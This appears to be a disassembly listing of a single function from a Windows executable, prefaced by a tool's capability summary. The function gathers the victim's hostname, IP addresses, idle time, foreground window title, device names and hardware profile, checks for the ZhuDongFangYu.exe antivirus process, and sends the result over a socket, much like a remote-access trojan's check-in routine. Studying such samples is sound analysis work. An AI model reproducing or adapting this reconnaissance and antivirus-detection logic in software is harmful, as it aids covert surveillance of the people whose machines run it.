Function at 0x140001548
Capabilities:
Enumerate processes
Get graphical window text
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov r15, rcx
mov ebx, 0xf90
mov r12d, edx
mov ecx, ebx
call fcn.140021270
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.140024d60
mov r13d, 0x100
lea rcx, [rbp - 0x70]
mov r8d, r13d
xor edx, edx
mov byte [rdi], 3
call fcn.140024d60
lea rcx, [rbp + 0x2d0]
mov r8d, r13d
xor edx, edx
call fcn.140024d60
lea rcx, [rbp + 0x2d0]
mov edx, r13d
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov r14d, 8
mov rsi, rax
test rax, rax
je 0x14000166c
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rbp - 0x70]
mov edx, r13d
mov r8, rax
call fcn.1400214e0
lea r8, [0x14004a620]
lea rcx, [rbp - 0x70]
mov edx, r13d
call fcn.1400214e0
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [r11]
cmp rax, qword [rsi]
jae 0x14000166c
xor ebx, ebx
add rbx, r14
mov rax, qword [rbx + r11]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rbp - 0x70]
mov rdx, r13
mov r8, rax
call fcn.1400214e0
lea r8, [0x14004a620]
lea rcx, [rbp - 0x70]
mov rdx, r13
call fcn.1400214e0
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [rbx + r11]
cmp rax, qword [rsi]
jb 0x140001629
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x70]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r14, [rdi + 2]
lea r8, [rbp - 0x70]
mov dword [rsp + 0x28], eax
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp + 0x510]
mov dword [rbp + 0x510], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, 0xa
sub eax, dword [rbp + 0x514]
lea rcx, [rdi + 0x200]
mov edx, ebx
lea r8, [0x14004a62c]
cmp eax, 0x2bf20
jbe 0x1400016ee
lea r8, [0x14004a630]
call fcn.1400215c0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140001714
lea rdx, [rdi + 0x598]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rdi + 0x796]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x796]
lea rdx, str.FENZU
lea rcx, str.main
call fcn.1400021e0
mov r13d, gethostbyname
cmp eax, 1
jge 0x14000175c
lea r8, [0x140058abc]
lea rcx, [rdi + 0x796]
mov edx, r13d
call fcn.1400215c0
lea rcx, [rdi + 0x7fa]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x7fa]
lea rdx, str.BEIZHU
lea rcx, str.main
call fcn.1400021e0
cmp eax, 1
jge 0x14000179e
lea r8, [0x140058b20]
lea rcx, [rdi + 0x7fa]
mov rdx, r13
call fcn.1400215c0
lea rdx, [rdi + 0x85e]
mov r9d, ebx
mov r8, r13
mov ecx, r12d
call fcn.140021738
lea rcx, [rdi + 0x9a8]
call fcn.140002020
xor ecx, ecx
xor esi, esi
call qword [sym.imp.ole32.dll_CoInitialize]
lea r11, [rsp + 0x70]
lea r12d, [rsi + 1]
lea r9, [0x140049bf0]
lea rcx, [0x140049bd0]
mov r8d, r12d
xor edx, edx
mov qword [rsp + 0x20], r11
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x1400018f6
mov rcx, qword [rsp + 0x70]
lea r8, [rbp + 0x528]
lea rdx, [0x140049be0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
jne 0x1400018f6
mov rcx, qword [rbp + 0x528]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x528]
lea r9, [rbp + 0x510]
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
mov edx, r12d
call qword [rax + 0x18]
test eax, eax
jne 0x1400018e5
lea r14d, [rsi + 8]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x68]
lea r9, [0x140041830]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdx
xor r8d, r8d
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x1400018b2
mov rcx, qword [rsp + 0x68]
mov word [rsp + 0x78], r14w
lea r8, [rsp + 0x78]
mov rax, qword [rcx]
lea rdx, str.FriendlyName
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
jne 0x1400018a7
mov rcx, qword [rbp - 0x80]
add esi, r12d
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x528]
lea r9, [rbp + 0x510]
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
mov edx, r12d
call qword [rax + 0x18]
test eax, eax
je 0x140001851
lea r14, [rdi + 2]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r8, [0x14004a678]
test esi, esi
jne 0x1400018fd
lea r8, [0x14004a67c]
lea rcx, [rdi + 0xa16]
mov rdx, rbx
call fcn.1400215c0
lea rcx, [0x14005cef0]
xor edx, edx
mov r8d, 0x1fe
call fcn.140024d60
mov rcx, qword [str.ZhuDongFangYu.exe]
lea rdx, [0x14004a710]
xor r13d, r13d
call fcn.14002155c
test rax, rax
jne 0x140001a3f
lea rbx, str.ZhuDongFangYu.exe
xor esi, esi
lea r14, str.ZhuDongFangYu.exe
mov r12, qword [rbx]
and dword [rbp + 0x90], 0
lea rcx, [rbp + 0x94]
xor edx, edx
mov r8d, 0x234
call fcn.140024d60
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a15
lea rdx, [rbp + 0x90]
mov rcx, rax
mov dword [rbp + 0x90], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400019da
lea rcx, [rbp + 0xbc]
mov r8, r12
sub r8, rcx
movzx eax, word [rcx]
movzx edx, word [rcx + r8]
sub eax, edx
jne 0x1400019c2
add rcx, 2
test edx, edx
jne 0x1400019ae
mov rcx, rbx
test eax, eax
je 0x140001b34
lea rdx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400019a1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r11d, r11d
test r11d, r11d
je 0x140001a15
mov rdx, qword [rsi + r14 + 8]
lea rcx, [0x14005cef0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14004a714]
lea rcx, [0x14005cef0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
inc r13
lea rdx, [0x14004a710]
mov rsi, r13
shl rsi, 4
lea rbx, [rsi + r14]
mov rcx, qword [rbx]
call fcn.14002155c
test rax, rax
je 0x14000194f
lea r14, [rdi + 2]
lea rdx, [0x14004a710]
lea rcx, [0x14005cef0]
call fcn.14002155c
test rax, rax
jne 0x140001a6b
lea rdx, [0x14004a67c]
lea rcx, [0x14005cef0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rdi + 0xc28]
lea rdx, [0x14005cef0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x60]
movzx r8d, word [rsp + 0x5e]
movzx r11d, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx r10d, word [rsp + 0x5a]
movzx r9d, word [rsp + 0x58]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x520]
lea rcx, [rdi + 0x8c2]
lea rdx, [0x14004a680]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rdi + 0x926]
lea rdx, [0x14004a6c8]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [rdi + 0x318]
lea r8, [rdi + 0x2dc]
test eax, eax
lea rdx, [rdi + 0x214]
lea rcx, [rdi + 0xf2e]
lea rax, [rdi + 0xa0c]
je 0x140001b46
lea r10, [rbp + 0x3d4]
mov qword [rsp + 0x30], r10
jmp 0x140001b4c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11d, dword [rbp + 0x98]
jmp 0x1400019ea
and qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call fcn.140001b94
mov rax, qword [r15]
mov r8d, 0xf90
mov rdx, rdi
mov rcx, r15
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov ebx, eax
call fcn.140020ec0
mov eax, ebx
mov rbx, qword [rsp + 0x618]
add rsp, 0x5d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret